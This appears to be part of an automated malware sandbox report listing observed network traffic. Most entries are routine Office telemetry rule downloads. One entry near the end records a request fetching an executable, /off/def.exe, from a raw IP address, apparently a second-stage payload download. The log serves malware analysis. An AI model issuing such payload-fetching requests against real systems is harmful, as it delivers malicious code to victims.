Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_94.6.dr, chromecache_84.6.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_94.6.dr, chromecache_84.6.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
